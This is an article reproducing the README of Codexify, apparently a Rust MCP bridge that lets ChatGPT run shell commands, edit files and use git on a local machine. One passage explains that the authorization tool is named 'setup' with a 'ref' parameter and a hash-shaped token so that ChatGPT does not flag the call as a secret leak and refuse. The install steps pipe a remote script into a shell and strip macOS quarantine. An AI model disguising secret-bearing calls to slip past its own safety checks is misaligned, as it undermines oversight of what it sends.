{"slug": "unlimited-codex-inside-chatgpt", "title": "Unlimited Codex, Inside ChatGPT", "summary": "Codexify, an open-source Rust project, enables ChatGPT Web Pro users to run Codex-style local tooling by bridging ChatGPT to local machine tools such as file read/write, shell commands, git operations, and search via an MCP server, with support for OpenAI's Secure MCP Tunnel for secure remote access. The tool, implemented with tokio, axum, and the rmcp SDK, aggregates other MCP servers and follows Codex agent contracts for tools like apply_patch, exec_command, and view_image.", "body_md": "*Codex-style local tooling for ChatGPT, implemented in Rust.*\n\n📖\n\nNew here? Start with the— an end-user guide covering[Wiki][installation],[every CLI argument],[every config option], and[how it all works end-to-end]. This README is the complete technical reference; the wiki is the friendlier path in.\n\nA local MCP bridge server that lets ChatGPT Web Pro call tools on your machine: read/write files, run shell commands, git operations, and search. Codexify is implemented in Rust with **tokio + axum** and the official [ rmcp](https://crates.io/crates/rmcp) SDK over Streamable HTTP. It can expose the local MCP endpoint through OpenAI's native\n\n[Secure MCP Tunnel](https://developers.openai.com/api/docs/guides/secure-mcp-tunnels), without opening an inbound port or publishing a general-purpose URL.\n\nIn native-tunnel mode, Codexify listens only on `127.0.0.1`\n\n, protects the MCP endpoint with a random per-process bearer token, starts OpenAI's official runtime-only tunnel client, and supervises it for the lifetime of the server. The tunnel client makes outbound HTTPS requests to OpenAI and forwards tunnel traffic to the authenticated loopback MCP endpoint. Externally managed tunnels are also supported.\n\nThe tool set follows [Codex](https://github.com/openai/codex) agent contracts for `apply_patch`\n\n, `exec_command`\n\n/`write_stdin`\n\n, `view_image`\n\n, `update_plan`\n\n, `clock_curr_time`\n\n/`clock_sleep`\n\n, project instructions, and skills. Codexify also bridges ChatGPT-native attachments and generated files into the active local project, returns project files as downloadable MCP resources, proxies resource links returned by bridged MCP servers, bounds model-visible tool output, persists task notes and plans, and records project-scoped diff checkpoints.\n\nCodexify can also **aggregate other MCP servers**. It connects to local stdio servers or remote Streamable HTTP endpoints, keeps automatically imported Codex/plugin tool catalogues private by default, and gives the ChatGPT-side agent a fixed ranked discovery/schema/call surface. Direct exposure and single-dispatcher gateway modes are configurable per upstream.\n\n```\nflowchart LR\n    ChatGPT[\"ChatGPT Web Pro\"]\n    OpenAITunnel[\"OpenAI Secure MCP Tunnel\"]\n    TunnelClient[\"Official OpenAI\\ntunnel-client-runtime\"]\n    Server[\"Codexify\\nMCP Bridge\\n127.0.0.1:3000\"]\n    Tools[\"Tool Registry\"]\n\n    FS[\"read_file\\nwrite_file\\nlist_directory\\ntree\"]\n    Ingress[\"import_host_file\"]\n    Egress[\"export_host_file\"]\n    Search[\"glob\\ngrep\"]\n    Git[\"git_status\\nshow_diff\\ngit_push\\ngit_commit\\ngit_log\"]\n    Edit[\"apply_patch\"]\n    Exec[\"exec_command\\nwrite_stdin\"]\n    Agent[\"view_image\\nupdate_plan\\nclock_curr_time\\nclock_sleep\"]\n    Env[\"get_agent_brief\\nget_environment\\nget_project_doc\"]\n    Mem[\"remember\\nrecall\"]\n    Skills[\"skills_list\\nskills_read\"]\n    ListProjects[\"list_projects\"]\n    SetRoot[\"set_project_root\"]\n    Bridge[\"MCP aggregator\\n(bridge.rs)\"]\n    WorkDir[(\"Project root\\nper-conversation in\\nmulti-project mode\")]\n    HostFiles[(\"ChatGPT attachments\\nand generated files\")]\n    ArtifactCache[(\"Bounded immutable\\nfile snapshots\")]\n    State[(\"~/.codexify\\nmemory (per project)\")]\n    Bindings[(\"~/.codexify\\nconversation-projects\")]\n    Worktree[(\"Managed Git worktree\\nper-conversation checkout,\\nswept on startup\")]\n    ExecSessions[(\"Conversation exec sessions\\n(in memory, idle-reaped)\")]\n    DiffRefs[(\"Git refs/codexify/diff\\nproject-open + last-diff\")]\n    DiffUI[\"MCP App diff card\\nui://codexify/diff/v3/mcp-app.html\"]\n    SkillDirs[(\".agents/skills\\n.codex/skills\\n.claude/skills\")]\n    CodexCfg[(\"$CODEX_HOME\\nconfig.toml\")]\n    CodexCli[\"optional Codex CLI\\nmcp list/get --json\"]\n    Upstream[(\"Upstream MCP servers\\nstdio / Streamable HTTP\")]\n\n    ChatGPT <-->|\"connector calls\"| OpenAITunnel\n    TunnelClient <-->|\"outbound HTTPS\"| OpenAITunnel\n    TunnelClient <-->|\"loopback HTTP\\n/mcp\"| Server\n    Server -- \"Streamable HTTP\\n(MCP Protocol)\" --> Tools\n\n    Tools --> FS\n    Tools --> Ingress\n    Tools --> Egress\n    Tools --> Search\n    Tools --> Git\n    Tools --> Edit\n    Tools --> Exec\n    Tools --> Agent\n    Tools --> Env\n    Tools --> Mem\n    Tools --> Skills\n    Tools -.->|\"multi-project mode\"| ListProjects\n    Tools -.->|\"multi-project mode\"| SetRoot\n    Tools --> Bridge\n\n    FS --> WorkDir\n    HostFiles --> Ingress\n    Ingress --> WorkDir\n    WorkDir --> Egress\n    Egress --> ArtifactCache\n    Server <-->|\"resource_link / resources/read\"| ArtifactCache\n    Search --> WorkDir\n    Shell --> WorkDir\n    Edit --> WorkDir\n    Exec --> WorkDir\n    Agent --> WorkDir\n    Env --> WorkDir\n    Mem --> State\n    Skills --> SkillDirs\n    ListProjects -.->|\"selector\"| SetRoot\n    SetRoot --> Bindings\n    SetRoot -.->|\"worktree mode\"| Worktree\n    Worktree -.->|\"active checkout\"| WorkDir\n    Exec --> ExecSessions\n    Git --> DiffRefs\n    Git -.-> DiffUI\n    SetRoot -.->|\"selects\"| WorkDir\n    CodexCfg -.->|\"project candidates\"| ListProjects\n    CodexCfg -.->|\"auto-import\"| Bridge\n    CodexCli -.->|\"plugin/effective MCPs\"| Bridge\n    Bridge --> Upstream\n```\n\nDotted edges are conditional: `list_projects`\n\nand `set_project_root`\n\nappear only in [multi-project mode](#multi-project-mode). The first discovers selectable candidates from Codex's project trust table plus optional local metadata; the second binds this conversation's project root, optionally provisioning a detached managed Git worktree (`worktrees.mode`\n\n) that becomes the active checkout so concurrent chats never share a working tree. Independently, the aggregator [auto-imports](#automatic-discovery-from-codex) compatible stdio and Streamable HTTP MCP servers directly from Codex's `config.toml`\n\n, then uses the Codex CLI when available to add plugin-provided servers before applying any `codexify.config.json`\n\noverlays.\n\nLinux and macOS:\n\n```\ncurl -qfsSL https://codexify.dev/install.sh | sh\n```\n\nWindows PowerShell:\n\n```\npowershell -ExecutionPolicy ByPass -c \"irm https://codexify.dev/install.ps1 | iex\"\n```\n\nThe installer downloads the latest release archive, verifies it against the\npublished SHA-256 checksums, and replaces the executable under\n`~/.codexify/bin`\n\n. On Unix it adds that directory to every recognized existing\nshell profile and creates the active shell's profile when needed. On Windows it\nupdates the persistent user `PATH`\n\n. The macOS installer removes the executable's\n`com.apple.quarantine`\n\nattribute after installation. It also installs and starts\nthe per-user Codexify background service. Set `CODEXIFY_SKIP_SERVICE=1`\n\nin the\ninstaller process to install only the executable and `PATH`\n\nentry.\n\nRun the guided setup from an installed binary:\n\n```\ncodexify quickstart\n```\n\nOr run it directly from a source checkout:\n\n```\ncargo run --release -- quickstart\n```\n\nThe wizard asks which project directory ChatGPT may access and whether that directory is one project or a multi-project access root. It then walks through creating an OpenAI Secure MCP Tunnel, entering the tunnel ID and runtime API key, and creating the matching ChatGPT developer-mode connector. Advanced policies, including optional per-conversation authorization, are configured manually rather than presented during first-run onboarding. The relevant OpenAI and ChatGPT links are printed together with the exact connection values to use.\n\nThe runtime key is entered without terminal echo and stored in a dedicated\nper-tunnel file under `~/.codexify/openai-tunnel/credentials/`\n\n. On Unix, the\nwizard restricts the credential directory and file to the current user.\nThe wizard writes `~/.codexify/codexify.config.json`\n\nby default; that file receives\nthe absolute `workDir`\n\n, a `file:`\n\nreference to the runtime key, and the selected\nproject mode; unrelated JSON settings are preserved. When the background service\nis installed, quickstart updates its definition and restarts it with this config.\nOtherwise, the wizard offers to start Codexify in the current terminal.\n\nWhen an existing config already contains `conversationAuthToken`\n\n, quickstart\npreserves it, restricts the config file to the current user on Unix, and prints the\none-line instruction required to authorize a chat. It does not offer to enable or\nrotate this advanced feature. Keep a token-bearing config out of\nversion control and do not share it.\n\nSet `CODEXIFY_CONFIG=/path/to/codexify.config.json`\n\nor use\n`codexify quickstart --config /path/to/codexify.config.json`\n\nto update a different\nconfig file. `--work-dir /path/to/project`\n\nchanges the directory initially shown\nby the wizard.\n\n-\nCreate or obtain a tunnel ID in\n\n[OpenAI Platform tunnel settings](https://platform.openai.com/settings/organization/tunnels). -\nCreate a restricted\n\n[runtime API key](https://platform.openai.com/settings/organization/api-keys)whose principal has Tunnels**Read**+** Use**for that tunnel. Keep tunnel-management/admin credentials separate. -\nAdd the tunnel to\n\n`~/.codexify/codexify.config.json`\n\n:\n\n```\n{\n  \"workDir\": \"/absolute/path/to/your/project\",\n  \"openaiTunnel\": {\n    \"tunnelId\": \"tunnel_0123456789abcdef0123456789abcdef\",\n    \"apiKeyRef\": \"env:CONTROL_PLANE_API_KEY\"\n  }\n}\n```\n\n-\nPut the runtime key in the referenced environment variable and start Codexify:\n\n```\nexport CONTROL_PLANE_API_KEY='...'\ncargo run --release -- --work-dir /path/to/your/project\n```\n\nOn first use, Codexify downloads the pinned runtime-only build of OpenAI's official [ tunnel-client](https://github.com/openai/tunnel-client), verifies the archive against the per-platform SHA-256 embedded in this Codexify build, and installs it under\n\n`~/.codexify/openai-tunnel/`\n\n. Codexify reports ready only after the runtime's `/readyz`\n\ncheck succeeds and its metrics show a successful control-plane poll. The runtime-only binary exposes loopback `/healthz`\n\n, `/readyz`\n\n, and `/metrics`\n\nendpoints; it intentionally does not include the full client's admin UI.To use a preinstalled official client, set `openaiTunnel.clientPath`\n\nor pass `--openai-tunnel-client /path/to/tunnel-client-runtime`\n\n. Codexify checks the binary's version surface and required flags before starting it.\n\n```\ncargo run --release -- --work-dir /path/to/your/project\n```\n\nWithout `openaiTunnel`\n\n, the server listens on `0.0.0.0:3000`\n\n, serves MCP at `/mcp`\n\n, and serves `/health`\n\n. This mode is intended for local clients or an explicitly configured reverse proxy/tunnel. Do not publish it without authentication and network-level access controls.\n\nTo reuse one server across several independent projects, point it at their common parent and enable multi-project mode:\n\n```\ncargo run --release -- --work-dir /path/to/projects --multi-project\n```\n\nHere `--work-dir`\n\nis an **access root**, not the active project. In ChatGPT, call `set_project_root`\n\ndirectly when the exact relative/absolute path, an HTTPS/SSH Git repository URL ending in `.git`\n\n, or a supported GitHub repository, branch, pull-request, or commit URL is known. Repository URLs reuse an unambiguous matching checkout already below the access root, or run `git clone`\n\nin the configured project clone directory before binding. GitHub branch, PR, and commit URLs select their exact targets without switching an unrelated source checkout. Otherwise `list_projects`\n\ncan search the read-only project catalogue by name, alias, description, or relative selector first. Codexify keys the resulting binding from ChatGPT's `_meta[\"openai/session\"]`\n\nconversation identifier and persists it outside the repository, so later turns in the same chat recover the project after an MCP reconnect or codexify restart. A new chat gets a new binding and an existing chat cannot switch projects. Clients that do not provide `openai/session`\n\nfall back to a one-time MCP transport-session binding and must select again after reconnecting.\n\nSet a high-entropy authentication token manually in the config. The token itself, not a digest of another secret, must look like a SHA-256 value: exactly 64 lowercase hexadecimal characters. For example:\n\n``` python\npython -c 'import secrets; print(secrets.token_hex(32))'\n{\n  \"conversationAuthToken\": \"0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef\"\n}\n```\n\nWhen this key is present, Codexify rejects every ordinary tool call until the\ncurrent chat presents that exact token once. A successful check authorizes only\nthe stable ChatGPT conversation that made the call. The project-aware\ninitialization brief is withheld until authorization succeeds; the gate response\nthen directs the client to load it with `get_agent_brief`\n\n.\n\nThe MCP wire surface deliberately calls this authorization tool `setup`\n\nand its\ntoken parameter `ref`\n\n. ChatGPT can otherwise falsely classify a token-looking\nconnector call as an unsafe secret leak and refuse to make the call. Keeping the\nactual token in a SHA-256-shaped format and using the innocuous `setup(ref)`\n\nnames\navoids that false positive. `ref`\n\nis the authentication token, remains secret,\nand is submitted verbatim; no digest transformation is applied.\n\nThis extra gate is necessary because ChatGPT's connector OAuth state controls\nwhether the account can use the connector at all; it does not independently\nauthorize each conversation or ChatGPT Project. `conversationAuthToken`\n\nadds that\nmissing conversation-level boundary after the connector has already been made\navailable to the account.\n\nFor ChatGPT, the authorization grant is keyed by the hash of\n`_meta[\"openai/session\"]`\n\nand persisted under\n`~/.codexify/conversation-authorizations/`\n\n, so it survives MCP transport\nreplacement and Codexify restarts. The marker contains neither the token nor the\nraw conversation identifier. Its namespace is derived from the canonical work\ndirectory and current token, so rotating `conversationAuthToken`\n\ninvalidates\nearlier grants. MCP clients without stable conversation metadata fall back to\nauthorization for the current transport only.\n\nUse this one-line instruction, replacing `[REF]`\n\nwith the exact configured token:\n\n```\nTo use this connector in a chat, call its `setup` tool once with ref `[REF]`.\n```\n\nPaste it into an individual chat, or add it to the ChatGPT Project's\n[Project instructions](https://help.openai.com/en/articles/10169521-projects-in-chatgpt)\nso chats created in that project can authorize themselves automatically. The\ntoken is an application-level gate for model conversations, not a replacement for\ntunnel, HTTP, workspace, or operating-system access controls. It is plaintext in\nthe config by design; anyone who can read that file can authorize another chat.\n\nTo build a standalone binary:\n\n```\ncargo build --release\n./target/release/codexify --work-dir /path/to/your/project\n```\n\nEach release ships a compiled binary per platform — `windows-x64`\n\n, `linux-x64`\n\n, `linux-arm64`\n\n, `darwin-x64`\n\nand `darwin-arm64`\n\n. Download the archive for your OS/arch, unpack it, and run `codexify --work-dir …`\n\n. These are native builds, so there is no AVX2/baseline caveat: the binary runs on any CPU of its architecture.\n\n| Command | Description |\n|---|---|\n`quickstart` |\nInteractively configure the project scope, native OpenAI tunnel credentials, JSON config, and ChatGPT developer-mode connector; restart the installed service or optionally start a foreground server |\n`service install` |\nInstall, enable, and start the native per-user service using the selected absolute config path |\n`service enable` |\nEnable and start an installed service |\n`service disable` |\nStop and disable the installed service |\n`service remove` |\nStop and remove the installed service definition |\n`service logs [-f]` |\nPrint the latest service log lines; `-f` follows new output |\n\n`quickstart`\n\nwrites `~/.codexify/codexify.config.json`\n\nby default. It accepts\n`--config <PATH>`\n\n(or `CODEXIFY_CONFIG`\n\n) to select another file and\n`--work-dir <DIR>`\n\nas the initial project-directory prompt value.\n\n| Flag | Required | Default | Description |\n|---|---|---|---|\n`--work-dir` |\nConditional | `workDir` |\nProject directory for server mode, or the project access root with `--multi-project` and `projects list` . Required when the config does not set `workDir` |\n`--multi-project` |\nNo | Disabled | Let each ChatGPT conversation bind once to a project beneath `--work-dir` ; other clients fall back to transport-session binding |\n`--project-clone-dir` |\nNo | `--work-dir` |\nExisting directory beneath the multi-project access root where Git repository URLs are cloned; overrides `projectCloneDir` |\n`--worktree-mode` |\nNo | `auto` |\nMulti-project worktree policy: `auto` , `always` , or `never` |\n`--worktree-root` |\nNo | Codex worktree location | Directory for managed conversation worktrees |\n`--port` |\nNo | `3000` |\nServer port |\n`--api-key` |\nNo | - | Bearer token for auth |\n`--config` |\nNo | `CODEXIFY_CONFIG` , then user config |\nExplicit config file path. The user config is `~/.codexify/codexify.config.json` ; relative explicit paths resolve from the startup directory, and a missing file is tolerated |\n`--codex-cli` |\nNo | Auto when available | Require successful Codex CLI-backed MCP discovery. When omitted, CLI failure produces a warning and discovery continues from `config.toml` |\n`-v` , `--verbose` |\nNo | Info logs | Enable Codexify debug diagnostics; repeat (`-vv` ) for trace diagnostics (`--log-tool-calls` is an alias) |\n`--log-tool-payloads[=<MODE>]` |\nNo | `off` |\nEmit paired tool invocation lifecycle events with bounded, redacted payloads. `MODE` is `requests` , `responses` , or `all` ; omitting it selects `all` |\n`--tool-log-level <LEVEL>` |\nNo | `info` |\nSeverity for tool invocation events: `trace` , `debug` , `info` , `warn` , or `error` |\n`--tool-log-max-request-bytes <BYTES>` |\nNo | `2048` |\nMaximum UTF-8 bytes retained from each redacted request payload (`64` -`65536` ) |\n`--tool-log-max-response-bytes <BYTES>` |\nNo | `4096` |\nMaximum UTF-8 bytes retained from each redacted response payload (`64` -`65536` ) |\n`--tool-log-redact-env <NAME>` |\nNo | - | Redact the current value of an environment variable from tool payload logs; repeat for multiple names |\n`--audit <FILE>` |\nNo | Disabled | Append privacy-preserving tool activity events to a JSONL file (`--audit-log` is an alias) |\n`--audit-command-preview` |\nNo | Disabled | Add bounded, redacted previews for `exec_command` to the audit log |\n`--audit-redact-env <NAME>` |\nNo | - | Redact the current value of an environment variable from command previews; repeat for multiple names |\n`--openai-tunnel-id` |\nNo | - | Existing OpenAI Secure MCP Tunnel ID; enables native tunnel mode |\n`--openai-tunnel-api-key-ref` |\nNo | `env:CONTROL_PLANE_API_KEY` |\nRuntime key reference in `env:NAME` or `file:/path` form |\n`--openai-tunnel-client` |\nNo | managed pinned runtime | Explicit `tunnel-client` or `tunnel-client-runtime` binary |\n`--openai-tunnel-organization-id` |\nNo | - | Optional OpenAI organization ID sent by the tunnel client |\n\nThe project catalogue also has a local diagnostic command. It does not start the HTTP server, tunnel, or bridged MCP children:\n\n```\ncodexify projects list --work-dir /path/to/projects\ncodexify projects list --work-dir /path/to/projects --query \"codexify\"\ncodexify projects list --work-dir /path/to/projects --json\ncodexify projects list --work-dir /path/to/projects --show-skipped\n```\n\n`--show-skipped`\n\nis deliberately local-only: it prints the configured paths rejected as missing, untrusted, or outside the access root, plus duplicate entries that were merged. Normal CLI output and the MCP tool expose only aggregate warnings, so an agent does not learn absolute paths it cannot select.\n\nThe installation scripts register a per-user native service, start it immediately, and enable it for subsequent user logins. The service definition invokes the installed executable with an absolute config path:\n\n```\ncodexify service run --config /absolute/path/to/codexify.config.json\n```\n\nThe hidden `service run`\n\ncommand supervises the ordinary Codexify server. It\nwaits when the config file has not been created yet, restarts a failed server\nwith bounded exponential backoff, and forwards stdout and stderr into\n`~/.codexify/logs/codexify.log`\n\n. The current log rotates at 10 MiB, with five\nnumbered generations retained. The native service manager also restarts the\nsupervisor if the supervisor itself fails. On Windows, the supervised server is\ncontained in a kill-on-close Job Object so stopping the scheduled task cannot\nleave its process tree behind.\n\n| Platform | Per-user service |\n|---|---|\n| Linux | systemd user unit `$XDG_CONFIG_HOME/systemd/user/codexify.service` , or `~/.config/systemd/user/codexify.service` |\n| macOS | launchd agent `~/Library/LaunchAgents/dev.codexify.service.plist` |\n| Windows | Task Scheduler task `Codexify` , triggered at user logon |\n\nThe service uses `~/.codexify/codexify.config.json`\n\nunless `service install`\n\nis\ngiven an explicit path:\n\n```\ncodexify service install\ncodexify service install --config /absolute/path/to/codexify.config.json\ncodexify service disable\ncodexify service enable\ncodexify service logs\ncodexify service logs -f\ncodexify service remove\n```\n\n`workDir`\n\nin the selected config must be an absolute existing directory. The\nquickstart wizard writes it and restarts an installed service automatically.\nFor a manually written service config, prefer `file:/absolute/path`\n\nsecret\nreferences because login services do not necessarily inherit variables exported\nonly by an interactive shell.\n\nThe `self_update`\n\nMCP tool updates a standard `~/.codexify/bin`\n\ninstallation to\nthe latest GitHub release. It requires an explicit user request and\n`{\"confirm\": true}`\n\n. Codexify downloads the platform archive and published\nchecksums, verifies SHA-256, extracts exactly one executable, and runs the staged\nbinary's `--help`\n\nprobe while the current server remains available.\n\nFor a service-supervised server, Codexify then submits a one-shot updater outside the service's process tree: a transient systemd user unit on Linux, a submitted launchd job on macOS, or an on-demand Task Scheduler task on Windows. The worker waits for the MCP response to be delivered, stops the service, atomically replaces the executable while retaining a rollback copy, validates the replacement, and starts the service again. A failed replacement is rolled back before restart. The MCP connection therefore disconnects temporarily after a successful scheduling response.\n\nAfter Codexify restarts, open ChatGPT Settings, select the Codexify connector,\nscroll to the bottom of its tool list, and click **Refresh** so ChatGPT reloads\nthe connector tools exposed by the updated server.\n\nProgress and failures are appended to the normal rotating service log and can be\nfollowed with `codexify service logs -f`\n\n. A fixed update lock rejects concurrent\nupdates. Self-update refuses source-tree or nonstandard executable locations;\nnative Windows self-update also requires the background service because a running\nexecutable cannot be replaced in place.\n\nStructured primitives — cheaper and safer than shelling out for the same job, and identical on Windows and POSIX:\n\n| Tool | Description |\n|---|---|\n`read_file` |\nRead a file's contents, a bounded window at a time, with optional line offset/limit |\n`write_file` |\nWrite content to a file, creating parent directories if needed |\n`import_host_file` |\nStream one ChatGPT attachment or generated file into a new project-relative path, with bounded size, SHA-256 verification and atomic no-overwrite publication |\n`export_host_file` |\nSnapshot one project-relative file and return a short-lived, opaque MCP resource that ChatGPT can download without receiving a local path or base64 text |\n`git_status` |\nShow git status, parsed into changed files with status codes |\n`show_diff` |\nPresent the scoped working-tree diff from the project-open or last-diff checkpoint and, by default, record the emitted snapshot as the next incremental baseline; compatible hosts receive the bounded diff in an interactive component-only diff card |\n`git_push` |\nPush one existing local branch to the same branch name on a configured remote; arbitrary refspecs, force syntax, and deletion syntax are rejected |\n`git_commit` |\nCreate a commit, optionally staging all tracked changes |\n`git_log` |\nShow recent commit history |\n`glob` |\nFind files matching a glob pattern (`.gitignore` -aware) |\n`grep` |\nSearch file contents by regex, with optional context lines and a real basename or relative-path include glob (`.gitignore` -aware) |\n`list_directory` |\nList files and directories with name, type, and size |\n`tree` |\nPrint directory tree as ASCII art |\n\nWhen `conversationAuthToken`\n\nis configured, one authorization gate tool is added\nahead of the protected tools:\n\n| Tool | Description |\n|---|---|\n`setup` |\nChatGPT-facing name for the per-conversation authorization tool. Checks the configured authentication token supplied as `ref` , then caches only the grant for the stable ChatGPT conversation or current transport |\n\nCodex-compatible agent tools:\n\n| Tool | Codex name | Description |\n|---|---|---|\n`apply_patch` |\n`apply_patch` |\nVerify the complete context patch, then apply its file operations sequentially with Codex-compatible partial-failure semantics |\n`exec_command` |\n`exec_command` |\nRun a shell command; returns output, or a session id if it is still running. A model-provided `shell` selects only a recognized installed shell type by basename |\n`write_stdin` |\n`write_stdin` |\nWrite to (or poll) a running `exec_command` session |\n`view_image` |\n`view_image` |\nLoad a local image for visual inspection; `high` is the default prepared resolution and `original` preserves Codex's larger original-detail budget |\n`update_plan` |\n`update_plan` |\nTrack a multi-step plan; saved to disk so a later conversation can pick it up |\n`clock_curr_time` |\n`clock.curr_time` |\nCurrent time in UTC |\n`clock_sleep` |\n`clock.sleep` |\nPause for a given duration and end early when the active MCP request is cancelled, such as when the client interrupts the turn |\n`skills_list` |\n`skills.list` |\nList the `SKILL.md` skills installed for this project and this user |\n`skills_read` |\n`skills.read` |\nRead a skill's instructions, or another file in its package |\n\nCodex's dotted names are flattened to underscores because MCP tool names must match `^[a-zA-Z0-9_-]{1,64}$`\n\n.\n\nEight always-on tools have no Codex counterpart:\n\n| Tool | Description |\n|---|---|\n`get_agent_brief` |\nReturn the whole operating brief — behaviour, environment, saved state and project rules — in one call |\n`get_environment` |\nReport the OS, the shell `exec_command` uses, the work directory, and what the policy allows |\n`get_project_doc` |\nRead the project's `AGENTS.md` instructions |\n`self_update` |\nDownload and verify the latest Codexify release, then schedule a detached executable swap and service restart after explicit confirmation |\n`remember` |\nCreate one durable note under a new short key; existing keys are never overwritten |\n`update_memory_note` |\nReplace one existing durable note without creating a missing key |\n`forget_memory_note` |\nDelete one existing durable note |\n`recall` |\nReturn the plan and notes saved by earlier turns or earlier conversations |\n\nMulti-project mode adds two project-control tools:\n\n| Tool | Description |\n|---|---|\n`list_projects` |\nSearch the read-only project catalogue before binding. Returns relative selectors for existing canonical directories authorized beneath the access root, plus names, aliases, descriptions, trust metadata, sources, and sanitized warnings. It never selects a project |\n`set_project_root` |\nBind the current ChatGPT conversation to an existing directory beneath the configured access root, any HTTPS/SSH Git repository URL ending in `.git` , a GitHub repository-root URL, or an HTTPS GitHub branch (`/tree/<branch>` ), pull-request (`/pull/<number>` ), or commit (`/commit/<sha>` ) URL. URL selection reuses a matching checkout or clones into `projectCloneDir` ; targeted GitHub URLs fetch and select the exact target without moving an unrelated source checkout. Repeating the same canonical directory or exact URL selection is idempotent, but switching is rejected. Without ChatGPT conversation metadata, the binding lasts for the MCP transport session |\n\nThese tools expose runtime context, project instructions, and the four durable memory/task-state operations through MCP. See [Context and memory](#context-and-memory), [Acting as a Codex agent](#acting-as-a-codex-agent), [Shells and the host](#shells-and-the-host), [AGENTS.md](#agentsmd) and [Skills](#skills).\n\nThat is 30 native tools in the default single-project mode and 32 in multi-project mode. Enabling conversation authorization adds the ChatGPT-facing `setup`\n\ntool, producing 31 or 33 respectively. Setting `artifactIngress.enabled`\n\nto `false`\n\nremoves `import_host_file`\n\n; setting `artifactEgress.enabled`\n\nto `false`\n\nindependently removes `export_host_file`\n\n. Each disabled direction reduces the applicable count by one. One or more [catalog-mode MCP upstreams](#catalog-mode-default-for-automatic-imports) add one shared four-tool discovery/call surface regardless of how many transitive tools they contain. Direct mode adds one downstream tool per selected upstream tool; gateway mode adds one downstream dispatcher per upstream server.\n\nMCP-specific tool behavior:\n\nMCP has no freeform tools, so the patch is supplied through the`apply_patch`\n\ntakes a JSON string.`input`\n\nstring parameter. All hunks are verified before the first write; a later filesystem error can still leave earlier verified operations applied.`exec_command`\n\nruns with plain pipes, not a PTY.`tty: true`\n\nis rejected. Programs that require an attached terminal behave as piped processes.`shell`\n\nis a shell-type hint rather than an executable path: only the basename is considered, and an unavailable or unrecognized shell uses the platform fallback (`/bin/sh`\n\non POSIX,`cmd.exe`\n\non Windows).\n\nFor ChatGPT calls carrying `_meta[\"openai/session\"]`\n\n, an `exec_command`\n\nprocess\nbelongs to that hashed conversation identity rather than the current MCP\ntransport. `write_stdin`\n\ncan therefore resume or poll it after ChatGPT replaces\nthe connector transport between adjacent tool calls. Generic MCP clients use\ntransport-session ownership. Process handles are in memory only: they do not\nsurvive a Codexify restart, and `exec.idleTimeoutMs`\n\nexpires abandoned sessions.\n\n`clock_sleep`\n\ncaps at 5 minutes because a longer wait would outlive the HTTP request through the tunnel. Within that MCP-specific cap it follows Codex's interruption behavior: the timer races the request cancellation token, so a client that cancels the active tool call can end the sleep immediately.\n\nEvery native fixed-shape input schema is closed and compiled at startup. Calls are validated before dispatch, including integer bounds and nested objects; validation diagnostics mask `writeOnly`\n\nvalues. Native tools and fixed dispatchers that advertise an `outputSchema`\n\nmust return matching `structuredContent`\n\n, and successful results are validated before they leave the server. Directly bridged upstream tools preserve the upstream convention that structured content may be absent, while any structured content they do return is checked against the advertised upstream schema. `exec_command`\n\nand `write_stdin`\n\nreturn Codex's unified-exec object, `import_host_file`\n\nreturns its destination, byte count and SHA-256 receipt, `export_host_file`\n\nreturns its immutable-snapshot receipt and a standard MCP `resource_link`\n\n, `clock_curr_time`\n\nreturns `{ current_time }`\n\n, `get_environment`\n\nreturns the environment object, `get_project_doc`\n\nreturns `{ files, content }`\n\nand `skills_list`\n\nreturns `{ skills, content }`\n\n; other text-returning tools with a fixed output schema use the exact `{ content: <text> }`\n\nobject, which the server derives from text blocks so handlers do not repeat it. `view_image`\n\ndeliberately uses MCP's native image content block rather than duplicating Codex's data URL into `structuredContent`\n\n, while `clock_sleep`\n\nadvertises no output schema to match Codex's sleep tool. `show_diff`\n\nlikewise advertises no output schema: its model-visible result is concise text, while its complete diff payload is attached as component-only result `_meta`\n\nfor the MCP App. Catalog discovery records have static exact wrapper schemas even though their source and tool values are discovered at runtime; `mcp_call_tool`\n\nhas no output schema because the selected upstream tool determines that result shape.\n\nAll project-scoped paths are resolved relative to the active project root: `--work-dir`\n\nin single-project mode, or the root selected for the current ChatGPT conversation in multi-project mode. Non-ChatGPT clients use the root selected for their current MCP transport session.\n\nCodexify resolves one server-level JSON config in this order:\n\n`--config <PATH>`\n\n;- the non-empty\n`CODEXIFY_CONFIG`\n\nenvironment variable; - an existing\n`~/.codexify/codexify.config.json`\n\n; - built-in defaults.\n\nRelative paths supplied through `--config`\n\nor `CODEXIFY_CONFIG`\n\nresolve against\nthe process's startup directory. Explicit CLI and environment paths are\nauthoritative even when missing; a missing file is tolerated and built-in defaults\nare used. The startup banner prints the selected path and its source. `quickstart`\n\nuses the user-level path when neither explicit source is set. Every config field is\noptional and uses camelCase names.\n\n```\n{\n  \"workDir\": \"/absolute/path/to/project\",\n  \"multiProject\": false,\n  \"projectCloneDir\": \".\",\n  \"conversationAuthToken\": null,\n  \"worktrees\": {\n    \"mode\": \"auto\",\n    \"root\": \"/path/to/worktrees\",\n    \"upstreamRefreshMode\": \"never\",\n    \"autoCleanupEnabled\": true,\n    \"keepCount\": 15,\n    \"allowSetupScript\": false\n  },\n  \"port\": 3000,\n  \"tree\": {\n    \"defaultDepth\": 3,\n    \"ignore\": [\"node_modules\", \".git\", \"dist\", \".next\", \"__pycache__\"]\n  },\n  \"ignore\": {\n    \"useGitignore\": true,\n    \"useDefaultPatterns\": true,\n    \"customPatterns\": []\n  },\n  \"command\": {\n    \"defaultTimeout\": 30000,\n    \"maxTimeout\": 120000\n  },\n  \"exec\": {\n    \"mode\": \"unrestricted\",\n    \"extraAllowedCommands\": [],\n    \"maxSessions\": 8,\n    \"idleTimeoutMs\": 300000\n  },\n  \"projectDoc\": {\n    \"maxBytes\": 32768,\n    \"fallbackFilenames\": [],\n    \"rootMarkers\": [\".git\"]\n  },\n  \"output\": {\n    \"maxToolOutputTokens\": 10000,\n    \"maxFileLines\": 1000,\n    \"maxFileBytes\": 131072,\n    \"maxEntries\": 500,\n    \"maxTreeNodes\": 1000\n  },\n  \"diff\": {\n    \"maxPatchBytes\": 4194304\n  },\n  \"toolLogging\": {\n    \"mode\": \"off\",\n    \"level\": \"info\",\n    \"maxRequestBytes\": 2048,\n    \"maxResponseBytes\": 4096,\n    \"redactEnv\": []\n  },\n  \"audit\": {\n    \"logFile\": null,\n    \"includeCommandPreview\": false,\n    \"commandPreviewMaxBytes\": 512,\n    \"redactEnv\": []\n  },\n  \"artifactIngress\": {\n    \"enabled\": true,\n    \"maxFileBytes\": 104857600,\n    \"requestTimeoutMs\": 120000,\n    \"idleTimeoutMs\": 30000,\n    \"maxRedirects\": 3,\n   